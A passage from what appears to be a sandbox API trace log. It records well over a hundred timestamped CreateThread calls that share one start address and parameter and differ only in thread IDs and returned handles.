dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xbf0) returned 0x35c [0226.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xbc8) returned 0x360 [0226.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xaf0) returned 0x364 [0226.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5f0) returned 0x368 [0226.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x854) returned 0x36c [0226.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xbf4) returned 0x370 [0226.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x758) returned 0x374 [0226.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x838) returned 0x378 [0226.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xbc0) returned 0x37c [0226.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1024) returned 0x380 [0226.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1028) returned 0x384 [0226.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x102c) returned 0x388 [0226.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1030) returned 0x38c [0226.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1034) returned 0x390 [0226.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1038) returned 0x394 [0226.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x103c) returned 0x398 [0226.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1040) returned 0x39c [0226.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1044) returned 0x3a0 [0226.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1048) returned 0x3a4 [0226.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x104c) returned 0x3a8 [0226.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1050) returned 0x3ac [0226.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1054) returned 0x3b0 [0226.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1058) returned 0x3b4 [0226.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x105c) returned 0x3b8 [0226.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1060) returned 0x3bc [0226.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1064) returned 0x3c0 [0226.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1068) returned 0x3c4 [0226.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x106c) returned 0x3c8 [0226.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1070) returned 0x3cc [0226.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10c4) returned 0x3d0 [0226.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10c8) returned 0x3d4 [0226.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10cc) returned 0x3d8 [0226.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10d0) returned 0x3dc [0226.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10d4) returned 0x3e0 [0226.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10d8) returned 0x3e4 [0226.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10dc) returned 0x3e8 [0226.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10e0) returned 0x3ec [0226.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10e4) returned 0x3f0 [0226.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10e8) returned 0x3f4 [0226.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10ec) returned 0x3f8 [0226.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10f0) returned 0x3fc [0226.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10f4) returned 0x404 [0226.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10f8) returned 0x408 [0226.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10fc) returned 0x40c [0226.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1100) returned 0x410 [0226.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1104) returned 0x414 [0226.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1108) returned 0x418 [0226.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x110c) returned 0x41c [0226.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1110) returned 0x420 [0227.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1164) returned 0x424 [0227.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1168) returned 0x428 [0227.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x116c) returned 0x42c [0227.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1170) returned 0x430 [0227.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1174) returned 0x434 [0227.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1178) returned 0x438 [0227.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x117c) returned 0x43c [0227.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1180) returned 0x440 [0227.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1184) returned 0x444 [0227.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1188) returned 0x448 [0227.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x118c) returned 0x44c [0227.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1190) returned 0x450 [0227.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1194) returned 0x454 [0227.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1198) returned 0x458 [0227.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x119c) returned 0x45c [0227.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11a0) returned 0x460 [0227.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11a4) returned 0x464 [0227.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11a8) returned 0x468 [0227.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11ac) returned 0x46c [0227.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x11b0) returned 0x470 [0227.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1204) returned 0x474 [0227.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1208) returned 0x478 [0227.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x120c) returned 0x47c [0227.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1210) returned 0x480 [0227.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1214) returned 0x484 [0227.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1218) returned 0x488 [0227.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x121c) returned 0x48c [0227.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1220) returned 0x490 [0227.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1224) returned 0x494 [0227.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1228) returned 0x498 [0227.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x122c) returned 0x49c [0227.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1230) returned 0x4a0 [0227.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1234) returned 0x4a4 [0227.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1238) returned 0x4a8 [0227.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x123c) returned 0x4ac [0227.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1240) returned 0x4b0 [0227.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1244) returned 0x4b4 [0227.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1248) returned 0x4b8 [0227.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x124c) returned 0x4bc [0227.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1250) returned 0x4c0 [0227.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12a4) returned 0x4c4 [0227.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12a8) returned 0x4c8 [0227.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12ac) returned 0x4cc [0227.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12b0) returned 0x4d0 [0227.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12b4) returned 0x4d4 [0227.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12b8) returned 0x4d8 [0227.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12bc) returned 0x4dc [0227.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12c0) returned 0x4e0 [0227.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12c4) returned 0x4e4 [0227.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12c8) returned 0x4e8 [0227.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12cc) returned 0x4ec [0227.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12d0) returned 0x4f0 [0227.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12d4) returned 0x4f4 [0227.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12d8) returned 0x4f8 [0227.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12dc) returned 0x4fc [0227.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12e0) returned 0x500 [0227.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12e4) returned 0x504 [0227.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12e8) returned 0x508 [0227.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12ec) returned 0x50c [0227.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x12f0) returned 0x510 [0227.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1344) returned 0x514 [0227.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1348) returned 0x518 [0227.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x134c) returned 0x51c [0227.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1350) returned 0x520 [0227.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1354) returned 0x524 [0227.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1358) returned 0x528 [0227.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x135c) returned 0x52c [0227.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1360) returned 0x530 [0227.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1364) returned 0x534 [0227.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1368) returned 0x538 [0227.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x136c) returned 0x53c [0227.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1370) returned 0x540 [0227.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1374) returned 0x544 [0227.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 